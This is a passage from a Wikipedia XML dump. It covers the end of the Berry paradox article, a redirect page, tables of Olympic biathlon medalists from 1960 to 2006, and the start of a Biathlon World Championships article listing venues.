This is clearly [[paradox|paradoxical]], and would seem to suggest that &quot;nameable in under eleven words&quot; may not be well-defined. However, using programs or proofs of bounded lengths, it is possible to construct an analogue of the Berry expression in a formal mathematical language, as has been done by [[Gregory Chaitin]].  Though the formal analogue does not lead to a logical contradiction, it does prove  certain impossibility results, including an incompleteness theorem similar in spirit to [[Gödel's incompleteness theorem]]; see [[Kolmogorov complexity]] for details.

The Berry paradox was proposed by [[Bertrand Russell]] (Russell, 1906).  He attributed it to [[G. G. Berry]] of the [[Bodleian library]] (c.f. Russell and Whitehead 1910), who had suggested the idea of considering the paradox associated to the expression &quot;the first undefinable [[ordinal number|ordinal]]&quot;.

== Resolution of the paradox ==
It is generally accepted that the Berry paradox and other similar paradoxes (such as the [[Richard's paradox]]) result from interpreting sets of possibly self-referential expressions. According to (Russell and Whitehead, 1910) these paradoxes &quot;embody vicious circle fallacies&quot;.  To resolve one of these paradoxes means to pinpoint exactly where our use of language went wrong and to provide restrictions on the use of language which may avoid them. 

Note that some Berry type expressions present only minor problems of interpretation:

* ''The smallest positive integer not nameable in under two words.''

under reasonable definitions of English denotes 21, since &quot;twenty one&quot; is two words and any indirect definition of the number (such as &quot;the number of dots on a six sided die&quot;, or indeed &quot;the smallest positive integer not nameable in under two words&quot;) is necessarily two or more words long.

However, Berry's paradox ''can'' be forced into a formal system. Boolos used a specific formalization to provide an alternate proof of [[Godel's Incompleteness Theorem]]. The basic idea of the proof is that a [[proposition]] that holds of x if x=n for some natural number n can be called a &quot;name&quot; for x, and that the set {(n,k): the natural number n has a name that is k symbols long} can be shown to be representable (using G&amp;ouml;del numbers). Then the proposition &quot;m is the first number not nameable in under k symbols&quot; can be formalized and shown to be a name.

==References==
* Charles H. Bennett, ''On Random and Hard-to-Describe Numbers'', IBM Report RC7483 (1979) &lt;br&gt;http://www.research.ibm.com/people/b/bennetc/Onrandom.pdf
* George Boolos, ''A new proof of the G&amp;ouml;del Incompleteness Theorem.'' ''Notices of the American Mathematical Society'', 36(4), pp. 388-390.
* Bertrand Russell, ''Les paradoxes de la logique'', Revue de métaphysique et de morale, vol 14, pp 627-650
* Bertrand Russell and Alfred N. Whitehead, ''Principia Mathematica'', Cambridge University Press/ A paperback reissue up to *56 was published in 1962.

== See also ==
* [[Definable number]]
* [[Busy beaver]]
 
==External links==
* http://www.cs.auckland.ac.nz/CDMTCS/chaitin/unm2.html A discussion by [[Gregory Chaitin]]
* http://www.cs.yorku.ca/~peter/Berry.html
* http://mathworld.wolfram.com/BerryParadox.html The entry for the Berry paradox at [[Wolfram Research|Wolfram Research's]] [[MathWorld]]
* http://www.hgsc.bcm.tmc.edu/~kdurbin/texts/alg.info.chiatin.html

[[Category:Paradoxes]]

[[he:&amp;#1492;&amp;#1508;&amp;#1512;&amp;#1491;&amp;#1493;&amp;#1511;&amp;#1505; &amp;#1513;&amp;#1500; &amp;#1489;&amp;#1512;&amp;#1497;]]
[[ja:&amp;#12505;&amp;#12522;&amp;#12540;&amp;#12398;&amp;#12497;&amp;#12521;&amp;#12489;&amp;#12483;&amp;#12463;&amp;#12473;]]
[[pl:Paradoks nieciekawej liczby]]
[[it:Paradosso di Berry]]</text>
    </revision>
  </page>
  <page>
    <title>Big Briar</title>
    <id>5037</id>
    <revision>
      <id>15903280</id>
      <timestamp>2005-03-19T03:24:08Z</timestamp>
      <contributor>
        <ip>24.13.89.235</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Moog Music]]</text>
    </revision>
  </page>
  <page>
    <title>Olympic medalists in biathlon</title>
    <id>5038</id>
    <revision>
      <id>42057300</id>
      <timestamp>2006-03-03T14:36:48Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>/* Relay (4&amp;times;7.5/6 km) */ romanization corrections</comment>
      <text xml:space="preserve">Olympic [[biathlon]] competitions were first held at the [[1960 Winter Olympic Games]], when only one event, the individual race for men, was held. Women's events were not included until [[1992]].

==Men==
''See the [[List of IOC country codes]] for expansions of country abbreviations.''

===Individual (20 km)===
This event was first held in [[1960]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1960
|{{flag athl iocc|[[Klas Lestander]]|SWE}}
|{{flag athl iocc|[[Antti Tyrväinen]]|FIN}}
|{{flag athl iocc|[[Alexander Privalov]]|URS}}
|-
|1964
|{{flag athl iocc|[[Vladimir Melanin]]|URS}}
|{{flag athl iocc|[[Alexander Privalov]]|URS}}
|{{flag athl iocc|[[Olav Jordet]]|NOR}}
|-
|1968
|{{flag athl iocc|[[Magnar Solberg]]|NOR}}
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Vladimir Gundartsev]]|URS}}
|-
|1972
|{{flag athl iocc|[[Magnar Solberg]]|NOR}}
|{{flag athl iocc|[[Hansjörg Knauthe]]|GDR}}
|{{flag athl iocc|[[Lars-Göran Arwidsson]]|SWE}}
|-
|1976
|{{flag athl iocc|[[Nikolay Kruglov Sr.]]|URS}}
|{{flag athl iocc|[[Heikki Ikola]]|FIN}}
|{{flag athl iocc|[[Alexander Elisarov]]|URS}}
|-
|1980
|{{flag athl iocc|[[Anatoliy Alyabyev]]|URS}}
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Eberhard Rösch]]|GDR}}
|-
|1984
|{{flag athl iocc|[[Peter Angerer]]|FRG}}
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|-
|1988
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Valeriy Medvedtsev]]|URS}}
|{{flag athl iocc|[[Johann Passler]]|ITA}}
|-
|1992
&lt;!--|{{flag athl iocc|[[Evgeniy Redkin]]|EUN}}--&gt;
|[[Image:olympic-rings.png|22px]] [[Evgeniy Redkin]] ([[Unified Team|EUN]])
|{{flag athl iocc|[[Mark Kirchner]]|GER}}
|{{flag athl iocc|[[Mikael Löfgren]]|SWE}}
|-
|1994
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|-
|1998
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|{{flag athl iocc|[[Pieralberto Carrara]]|ITA}}
|{{flag athl iocc|[[Alexei Aidarov]]|BLR}}
|-
|2002
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Viktor Maigourov]]|RUS}}
|-
|2006
|{{flag athl iocc|[[Michael Greis]]|GER}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|}

===Sprint (10 km)===
This event was first held in [[1980]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1980
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Vladimir Alikin]]|URS}}
|{{flag athl iocc|[[Anatoliy Alyabyev]]|URS}}
|-
|1984
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Peter Angerer]]|FRG}}
|{{flag athl iocc|[[Matthias Jacob]]|GDR}}
|-
|1988
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Valeriy Medvedtsev]]|URS}}
|{{flag athl iocc|[[Sergei Tchepikov]]|URS}}
|-
|1992
|{{flag athl iocc|[[Mark Kirchner]]|GER}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Harri Eloranta]]|FIN}}
|-
|1994
|{{flag athl iocc|[[Sergei Tchepikov]]|RUS}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|-
|1998
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Frode Andresen]]|NOR}}
|{{flag athl iocc|[[Ville Räikkönen]]|FIN}}
|-
|2002
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Wolfgang Perner]]|AUT}}
|-
|2006
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|{{flag athl iocc|[[Frode Andresen]]|NOR}}
|}

===Pursuit (12.5 km)===
This event was first held in [[2002]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|2002
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|-
|2006
|{{flag athl iocc|[[Vincent Defrasne]]|FRA}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|}

===Mass start (15 km)===
This event was first held in [[2006]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|2006
|{{flag athl iocc|[[Michael Greis]]|GER}}
|{{flag athl iocc|[[Tomasz Sikora]]|POL}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|}

===Relay (4&amp;times;7.5 km)===
This event was first held in [[1968]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1968
|{{URS}}&lt;br /&gt;[[Alexander Tikhonov]]&lt;br /&gt;[[Nikolai Pusanov]]&lt;br /&gt;[[Victor Mamatov]]&lt;br /&gt;[[Vladimir Gundartsev]]
|{{NOR}}&lt;br /&gt;[[Ola Wærhaug]]&lt;br /&gt;[[Olav Jordet]]&lt;br /&gt;[[Magnar Solberg]]&lt;br /&gt;[[Jon Istad]]
|{{SWE}}&lt;br /&gt;[[Lars-Göran Arwidsson]]&lt;br /&gt;[[Tore Eriksson]]&lt;br /&gt;[[Olle Petrusson]]&lt;br /&gt;[[Holmfrid Olsson]]
|-
|1972
|{{URS}}&lt;br /&gt;[[Alexander Tikhonov]]&lt;br /&gt;[[Rinnat Safin]]&lt;br /&gt;[[Ivan Biakov]]&lt;br /&gt;[[Victor Mamatov]]
|{{FIN}}&lt;br /&gt;[[Esko Saira]]&lt;br /&gt;[[Juhani Suutarinen]]&lt;br /&gt;[[Heikki Ikola]]&lt;br /&gt;[[Mauri Röppänen]]
|{{GDR}}&lt;br /&gt;[[Hansjörg Knauthe]]&lt;br /&gt;[[Joachim Meischner]]&lt;br /&gt;[[Dieter Speer]]&lt;br /&gt;[[Horst Koschka]]
|-
|1976
|{{URS}}&lt;br /&gt;[[Alexander Elisarov]]&lt;br /&gt;[[Ivan Biakov]]&lt;br /&gt;[[Nikolay Kruglov Sr.]]&lt;br /&gt;[[Alexander Tikhonov]]
|{{FIN}}&lt;br /&gt;[[Henrik Flöjt]]&lt;br /&gt;[[Esko Saira]]&lt;br /&gt;[[Juhani Suutarinen]]&lt;br /&gt;[[Heikki Ikola]]
|{{GDR}}&lt;br /&gt;[[Karl-Heinz Menz]]&lt;br /&gt;[[Frank Ullrich]]&lt;br /&gt;[[Manfred Beer]]&lt;br /&gt;[[Manfred Geyer]]
|-
|1980
|{{URS}}&lt;br /&gt;[[Vladimir Alikin]]&lt;br /&gt;[[Alexander Tikhonov]]&lt;br /&gt;[[Vladimir Barnashov]]&lt;br /&gt;[[Anatoliy Alyabyev]]
|{{GDR}}&lt;br /&gt;[[Mathias Jung]]&lt;br /&gt;[[Klaus Siebert]]&lt;br /&gt;[[Frank Ullrich]]&lt;br /&gt;[[Eberhard Rösch]]
|{{FRG}}&lt;br /&gt;[[Franz Bernreiter]]&lt;br /&gt;[[Hans Estner]]&lt;br /&gt;[[Peter Angerer]]&lt;br /&gt;[[Gerd Winkler]]
|-
|1984
|{{URS}}&lt;br /&gt;[[Dmitri Vasilyev]]&lt;br /&gt;[[Yuri Kashkarov]]&lt;br /&gt;[[Algimantas Salna]]&lt;br /&gt;[[Sergei Buligin]]
|{{NOR}}&lt;br /&gt;[[Odd Lirhus]]&lt;br /&gt;[[Eirik Kvalfoss]]&lt;br /&gt;[[Rolf Storsveen]]&lt;br /&gt;[[Kjell Søbak]]
|{{FRG}}&lt;br /&gt;[[Ernst Reiter]]&lt;br /&gt;[[Walter Pichler]]&lt;br /&gt;[[Peter Angerer]]&lt;br /&gt;[[Friedrich Fischer]]
|-
|1988
|{{URS}}&lt;br /&gt;[[Dmitri Vasilyev]]&lt;br /&gt;[[Sergei Tchepikov]]&lt;br /&gt;[[Alexander Popov (biathlete)|Alexander Popov]]&lt;br /&gt;[[Valeriy Medvedtsev]]
|{{FRG}}&lt;br /&gt;[[Ernst Reiter]]&lt;br /&gt;[[Stefan Höck]]&lt;br /&gt;[[Peter Angerer]]&lt;br /&gt;[[Friedrich Fischer]]
|{{ITA}}&lt;br /&gt;[[Werner Kiem]]&lt;br /&gt;[[Gottlieb Taschler]]&lt;br /&gt;[[Johann Passler]]&lt;br /&gt;[[Andreas Zingerle]]
|-
|1992
|{{GER}}&lt;br /&gt;[[Ricco Groß]]&lt;br /&gt;[[Jens Steinigen]]&lt;br /&gt;[[Mark Kirchner]]&lt;br /&gt;[[Friedrich Fischer]]
|{{EUN}}&lt;br /&gt;[[Valeriy Medvedtsev]]&lt;br /&gt;[[Alexander Popov (biathlete)| Alexander Popov]]&lt;br /&gt;[[Valeriy Kirienko]]&lt;br /&gt;[[Sergei Tchepikov]]
|{{SWE}}&lt;br /&gt;[[Ulf Johansson]]&lt;br /&gt;[[Leif Andersson]]&lt;br /&gt;[[Tord Wiksten]]&lt;br /&gt;[[Mikael Löfgren]]
|-
|1994
|{{GER}}&lt;br /&gt;[[Ricco Groß]]&lt;br /&gt;[[Frank Luck]]&lt;br /&gt;[[Mark Kirchner]]&lt;br /&gt;[[Sven Fischer]]
|{{RUS}}&lt;br /&gt;[[Valeriy Kirienko]]&lt;br /&gt;[[Vladimir Dratchev]]&lt;br /&gt;[[Sergei Tarasov]]&lt;br /&gt;[[Sergei Tchepikov]]
|{{FRA}}&lt;br /&gt;[[Thierry Dusserre]]&lt;br /&gt;[[Patrice Bailly-Salins]]&lt;br /&gt;[[Lionel Laurent]]&lt;br /&gt;[[Hervé Flandin]]
|-
|1998
|{{GER}}&lt;br /&gt;[[Ricco Groß]]&lt;br /&gt;[[Peter Sendel]]&lt;br /&gt;[[Sven Fischer]]&lt;br /&gt;[[Frank Luck]]
|{{NOR}}&lt;br /&gt;[[Egil Gjelland]]&lt;br /&gt;[[Halvard Hanevold]]&lt;br /&gt;[[Dag Bjørndalen]]&lt;br /&gt;[[Ole Einar Bjørndalen]]
|{{RUS}}&lt;br /&gt;[[Pavel Muslimov]]&lt;br /&gt;[[Vladimir Dratchev]]&lt;br /&gt;[[Sergei Tarasov]]&lt;br /&gt;[[Viktor Maigurov]]
|-
|2002
|{{NOR}}&lt;br /&gt;[[Halvard Hanevold]]&lt;br /&gt;[[Frode Andresen]]&lt;br /&gt;[[Egil Gjelland]]&lt;br /&gt;[[Ole Einar Bjørndalen]]
|{{GER}}&lt;br /&gt;[[Ricco Groß]]&lt;br /&gt;[[Peter Sendel]]&lt;br /&gt;[[Sven Fischer]]&lt;br /&gt;[[Frank Luck]]
|{{FRA}}&lt;br /&gt;[[Gilles Marguet]]&lt;br /&gt;[[Vincent Defrasne]]&lt;br /&gt;[[Julien Robert]]&lt;br /&gt;[[Raphaël Poirée]]
|-
|2006
|{{GER}}&lt;br /&gt;[[Ricco Groß]]&lt;br /&gt;[[Michael Rösch]]&lt;br /&gt;[[Sven Fischer]]&lt;br /&gt;[[Michael Greis]]
|{{RUS}}&lt;br /&gt;[[Ivan Tcherezov]]&lt;br /&gt;[[Sergei Tchepikov]]&lt;br /&gt;[[Pavel Rostovtsev]]&lt;br /&gt;[[Nikolay Kruglov]]
|{{FRA}}&lt;br /&gt;[[Julien Robert]]&lt;br /&gt;[[Vincent Defrasne]]&lt;br /&gt;[[Ferréol Cannard]]&lt;br /&gt;[[Raphaël Poirée]]
|}

==Women==
''See the [[List of IOC country codes]] for expansions of country abbreviations.''

===Individual (15 km)===
This event was first held in [[1992]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1992
|{{flag athl iocc|[[Antje Harvey|Antje Misersky]]|GER}}
&lt;!--|{{flag athl iocc|[[Svetlana Petcherskaia|Svetlana Davidova]]|EUN}}--&gt;
|[[Image:olympic-rings.png|22px]] [[Svetlana Petcherskaia|Svetlana Davidova]] ([[Unified Team|EUN]])
|{{flag athl iocc|[[Myriam Bédard]]|CAN}}
|-
|1994
|{{flag athl iocc|[[Myriam Bédard]]|CAN}}
|{{flag athl iocc|[[Anne Briand]]|FRA}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|-
|1998
&lt;!--|{{flag athl iocc|[[Ekaterina Dafovska]]|BGR}}--&gt;
|[[Image:Flag of Bulgaria.svg|22px]] [[Ekaterina Dafovska]] ([[Bulgaria|BUL]])
|{{flag athl iocc|[[Olena Petrova]]|UKR}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|-
|2002
|{{flag athl iocc|[[Andrea Henkel]]|GER}}
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|-
|2006
|{{flag athl iocc|[[Svetlana Ishmouratova]]|RUS}}
|{{flag athl iocc|[[Martina Glagow]]|GER}}
|{{flag athl iocc|[[Albina Akhatova]]|RUS}}
|}

===Sprint (7.5 km)===
This event was first held in [[1992]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1992
&lt;!--|{{flag athl iocc|[[Anfisa Restzova]]|EUN}}--&gt;
|[[Image:olympic-rings.png|22px]] [[Anfisa Restzova]] ([[Unified Team|EUN]])
|{{flag athl iocc|[[Antje Harvey|Antje Misersky]]|GER}}
&lt;!--|{{flag athl iocc|[[Elena Belova]]|EUN}}--&gt;
|[[Image:olympic-rings.png|22px]] [[Elena Belova|Yelena Belova]] ([[Unified Team|EUN]])
|-
|1994
|{{flag athl iocc|[[Myriam Bédard]]|CAN}}
|{{flag athl iocc|[[Svetlana Paramyguina]]|BLR}}
|{{flag athl iocc|[[Valentina Tserbe Nessina|Valentina Tserbe]]|UKR}}
|-
|1998
|{{flag athl iocc|[[Galina Koukleva]]|RUS}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Katrin Apel]]|GER}}
|-
|2002
|{{flag athl iocc|[[Kati Wilhelm]]|GER}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|-
|2006
|{{flag athl iocc|[[Florence Baverel-Robert]]|FRA}}
|{{flag athl iocc|[[Anna Carin Olofsson]]|SWE}}
|{{flag athl iocc|[[Lilia Efremova]]|UKR}}
|}

===Pursuit (10 km)===
This event was first held in [[2002]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|2002
|{{flag athl iocc|[[Olga Pyleva]]|RUS}}
|{{flag athl iocc|[[Kati Wilhelm]]|GER}}
&lt;!--|{{flag athl iocc|[[Irina Nikoultchina]]|BGR}}--&gt;
|[[Image:Flag of Bulgaria.svg|22px]] [[Irina Nikoultchina]] ([[Bulgaria|BUL]])
|-
|2006
|{{flag athl iocc|[[Kati Wilhelm]]|GER}}
|{{flag athl iocc|[[Martina Glagow]]|GER}}
|{{flag athl iocc|[[Albina Akhatova]]|RUS}}
|}

===Mass start (12.5 km)===
This event was first held in [[2006]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|2006
|{{flag athl iocc|[[Anna Carin Olofsson]]|SWE}}
|{{flag athl iocc|[[Kati Wilhelm]]|GER}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|}

===Relay (4&amp;times;7.5/6 km)===
This event was held for the first time in [[1992]] as a 3&amp;times;7.5 km event, then was 4&amp;times;7.5 km at the next three Olympics, and became a 4&amp;times;6 km event in 2006.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;180&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;180&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;180&quot; | Bronze
|-
|1992
|{{FRA}}&lt;br /&gt;[[Corinne Niogret]]&lt;br /&gt;[[Véronique Claudel]]&lt;br /&gt;[[Anne Briand]]&lt;br /&gt;&lt;br /&gt;
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Antje Misersky]]&lt;br /&gt;[[Petra Schaaf]]&lt;br /&gt;&lt;br /&gt;
|{{EUN}}&lt;br /&gt;[[Elena Belova]]&lt;br /&gt;[[Anfisa Restzova]]&lt;br /&gt;[[Elena Melnikova]]&lt;br /&gt;&lt;br /&gt;
|-
|1994
|{{RUS}}&lt;br /&gt;[[Nadejda Talanova]]&lt;br /&gt;[[Natalia Snitina]]&lt;br /&gt;[[Luiza Noskova]]&lt;br /&gt;[[Anfisa Restzova]]
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Antje Misersky|Antje Misersky Harvey]]&lt;br /&gt;[[Simone Greiner-Petter-Memm|Simone G.-P.-Memm]]&lt;br /&gt;[[Petra Schaaf]]
|{{FRA}}&lt;br /&gt;[[Corinne Niogret]]&lt;br /&gt;[[Véronique Claudel]]&lt;br /&gt;[[Delphine Burlet Heymann|Delphine B. Heymann]]&lt;br /&gt;[[Anne Briand]]
|-
|1998
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Martina Zellner]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Petra Schaaf|Petra Schaaf Behle]]
|{{RUS}}&lt;br /&gt;[[Olga Melnik]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Albina Akhatova]]&lt;br /&gt;[[Olga Romasko]]
|{{NOR}}&lt;br /&gt;[[Ann-Elen Skjelbreid]]&lt;br /&gt;[[Annette Sikveland]]&lt;br /&gt;[[Gunn Margit Andreassen|Gunn M. Andreassen]]&lt;br /&gt;[[Liv Grete Skjelbreid Poirée|Liv Grete Skjelbreid]]
|-
|2002
|{{GER}}&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Andrea Henkel]]&lt;br /&gt;[[Kati Wilhelm]]
|{{NOR}}&lt;br /&gt;[[Ann-Elen Skjelbreid]]&lt;br /&gt;[[Linda Tjørhom]]&lt;br /&gt;[[Gunn Margit Andreassen|Gunn M. Andreassen]]&lt;br /&gt;[[Liv Grete Skjelbreid Poirée|Liv Grete S. Poirée]]
|{{RUS}}&lt;br /&gt;[[Olga Pyleva]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Svetlana Ishmouratova]]&lt;br /&gt;[[Albina Akhatova]]
|-
|2006
|{{RUS}}&lt;br /&gt;[[Anna Bogaliy-Titovets]]&lt;br /&gt;[[Svetlana Ishmouratova]]&lt;br /&gt;[[Olga Zaitseva]]&lt;br /&gt;[[Albina Akhatova]]
|{{GER}}&lt;br /&gt;[[Martina Glagow]]&lt;br /&gt;[[Andrea Henkel]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Kati Wilhelm]]
|{{FRA}}&lt;br /&gt;[[Delphyne Peretto]]&lt;br /&gt;[[Florence Baverel-Robert]]&lt;br /&gt;[[Sylvie Becaert]]&lt;br /&gt;[[Sandrine Bailly]]
|}

==See also==
*[[Biathlon World Championships]]
*[[Biathlon World Cup champions]]
*[[Lists of Olympic medalists]] in several sports

[[Category:Biathlon at the Olympics|*Medalists]]
[[Category:Olympic medalists by sport|Biathlon]]
[[Category:Olympic biathletes]]
[[Category:Winter Olympics medalists|*Biathlon]]
[[Category:Lists of sportspeople]]

[[cs:Olympijské medaile v biatlonu]]
[[no:OL-medaljører i skiskyting]]</text>
    </revision>
  </page>
  <page>
    <title>Biathlon World Championships</title>
    <id>5039</id>
    <revision>
      <id>42060897</id>
      <timestamp>2006-03-03T15:10:58Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <comment>/* Relay (4 &amp;times; 7.5/6 km) */ romanization corrs; lk piping as per husbands' surnames</comment>
      <text xml:space="preserve">The first '''[[Biathlon]] World Championship (BWCH)''' was held in [[1958]], with individual (official) and relay (unofficial) contests for men. The number of events has grown significantly over the years. Beginning in [[1984]], women biathletes had their own World Championships, and finally, from [[1989]], both genders have been participating in joint BWCHs.

== BWCH venues ==
The season's BWCHs takes place during February or March. Some years it has been necessary to schedule parts of the Championships at other than the main venue because of weather and/or snow conditions. Full, joint BWCHs have never been held in [[Winter Olympic Games|Olympic Winter Games]] seasons. BWCHs in non-IOC events, however, have been held in Olympic seasons. In 2005, the then new event of Mixed Relay (two legs done by women, two legs by men) was arranged separately from the ordinary Championships.

Arranged Championships:
*1958 [[Saalfelden]], [[Austria]] 
*1959 [[Courmayer]], [[Italy]]
*1961 [[Umeå]], [[Sweden]]
*1962 [[Hämeenlinna|Hämeenlinna-Tavastehus]], [[Finland]]
*1963 [[Seefeld, Tirol|Seefeld]], [[Austria]]
*1965 [[Elverum]], [[Norway]] 
*1966 [[Garmisch-Partenkirchen]], [[West Germany]]
*1967 [[Altenberg, Germany|Altenberg]], [[East Germany]] 
*1969 [[Zakopane]], [[Poland]] 
*1970 [[Östersund|Östersund]], [[Sweden]] 
*1971 [[Hämeenlinna|Hämeenlinna-Tavastehus]], [[Finland]]
*1973 [[Lake Placid, New York]], [[United States|USA]]
*1974 [[Minsk]], [[Soviet Union|USSR]] 
*1975 [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]], [[Italy]]
*1976 [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]], [[Italy]] (Sprint)
*1977 [[Lillehammer|Lillehammer-Vingrom]], [[Norway]]
*1978 [[Hochfilzen]], [[Austria]] 
*1979 [[Ruhpolding]], [[West Germany]] 
*1981 [[Lahti]], [[Finland]]
*1982 [[Minsk]], [[Soviet Union|USSR]]
*1983 [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]], [[Italy]] 
*1984 [[Chamonix]], [[France]] (Women)
*1985 [[Ruhpolding]], [[West Germany]] (Men) and [[Egg am Etzel]] (near [[Einsiedeln, Switzerland|Einsiedeln]]), [[Switzerland]] (Women)
*1986 [[Oslo]], [[Norway]] (Men) and [[Falun]], [[Sweden]] (Women)
*1987 [[Lake Placid, New York]], [[United States|USA]] (Men) and [[Lahti]], [[Finland]] (Women)
*1988 [[Chamonix]], [[France]] (Women)
*1989 [[Feistritz]], [[Austria]] (first joint Men+Women BWCH)
*1990 [[Minsk]], [[Soviet Union|USSR]]; [[Oslo]], [[Norway]]; and [[Kontiolahti]], [[Finland]]
*1991 [[Lahti]], [[Finland]]
*1992 [[Novosibirsk]], [[Russia]] (Team)
*1993 [[Borovetz]], [[Bulgaria]]
*1994 [[Canmore]], [[Canada]] (Team)
*1995 [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]], [[Italy]] 
*1996 [[Ruhpolding]], [[Germany]]
*1997 [[Brezno|Brezno-Osrblie]], [[Slovakia]]
*1998 [[Pokljuka]], [[Slovenia]] (Pursuit) and [[Hochfilzen]], [[Austria]] (Team)
*1999 [[Kontiolahti]], [[Finland]] and [[Oslo]], [[Norway]]
*2000 [[Oslo]], [[Norway]] and [[Lahti]], [[Finland]]
*2001 [[Pokljuka]], [[Slovenia]]
*2002 [[Oslo]], [[Norway]] (Mass start)
*2003 [[Khanty-Mansiysk]], [[Russia]]
*2004 [[Oberhof, Germany]]
